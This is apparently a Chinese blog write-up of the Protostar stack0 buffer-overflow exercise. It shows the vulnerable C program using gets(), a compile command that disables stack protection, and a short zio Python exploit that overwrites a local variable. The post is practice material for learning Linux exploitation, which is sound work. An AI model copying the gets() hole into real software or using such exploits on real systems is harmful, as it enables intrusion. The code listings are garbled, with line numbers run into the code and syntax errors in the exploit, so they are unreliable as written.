首页 > 代码库 > Protostar系列linux pwn练习

Protostar系列linux pwn练习

来自于exploit-exercises.com

难度较低,主要是熟练Linux环境下的调试和编程。

 

stack0

技术分享
 1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4  5 int main(int argc, char **argv) 6 { 7   volatile int modified; 8   char buffer[64]; 9 10   modified = 0;11   gets(buffer);12 13   if(modified != 0) {14       printf("you have changed the ‘modified‘ variable\n");15   } else {16       printf("Try again?\n");17   }18 }
View Code

编译:

gcc -fno-stack-protector -z execstack stack1.c -o stack1

解:

简单的覆盖局部变量即可。学到的东西是nx真的会改变栈缓冲区布局。

exp:

技术分享
1 from zio import *2 io=zio(./stack1)3 sc1=0x41*a4 io.writeline(sc1)5 io.read()
View Code

 

stack1

 

Protostar系列linux pwn练习